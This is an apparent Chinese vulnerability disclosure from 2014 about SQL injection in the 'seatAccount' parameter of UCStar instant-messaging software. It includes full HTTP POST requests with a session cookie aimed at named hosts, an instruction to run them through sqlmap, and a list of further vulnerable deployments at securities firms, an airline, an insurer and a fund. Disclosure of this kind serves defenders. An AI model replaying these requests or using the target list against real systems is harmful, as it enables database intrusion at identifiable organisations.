漏洞详情

披露状态:

2014-08-12: 细节已通知厂商并且等待厂商处理中
2014-08-17: 厂商已经确认,细节仅向厂商公开
2014-08-20: 细节向第三方安全合作伙伴开放
2014-10-11: 细节向核心白帽子及相关领域专家公开
2014-10-21: 细节向普通白帽子公开
2014-10-31: 细节向实习白帽子公开
2014-11-10: 细节向公众公开

简要描述:

该漏洞可能导致内网被漫游的风险。

详细说明:

1.漏洞参数seatAccount,放sqlmap里跑:

POST /ucstarSeatControlControl.do?method=getPageList HTTP/1.1
Host: im.dhzq.com.cn:9090
Proxy-Connection: keep-alive
Content-Length: 75
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: XSESSIONID=1uuxgo4927i72
start=0&limit=15&seatAccount=a&seatAlignId=&action=search&currentUser=admin


xxx.png


xxx2.png

漏洞证明:

POST /ucstarSeatControlControl.do?method=getPageList HTTP/1.1
Host: www.qqtech.com:9090
Proxy-Connection: keep-alive
Content-Length: 75
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: XSESSIONID=1uuxgo4927i72
start=0&limit=15&seatAccount=a&seatAlignId=&action=search&currentUser=admin


官网:
http://www.qqtech.com:9090/

gw.png


------------------------
国金证券
http://im.gjzq.cn:9090/
国航
http://60.247.100.70:9090/
吉祥人寿
http://ucstar.jxlife.com.cn:9090/
南方基金(有waf)
http://cconline.southernfund.com:9898
安信证券
http://119.147.80.161:8002/
http://oa.hdbp.com:9090/
-----------------------------------
更多案例列表:
http://www.qqtech.com/casefinance/index.htm
----------------------------------------------

修复方案:

1.过滤啊
2.这程序应该坑不少,建议内网做好安全隔离;

标签: none

评论已关闭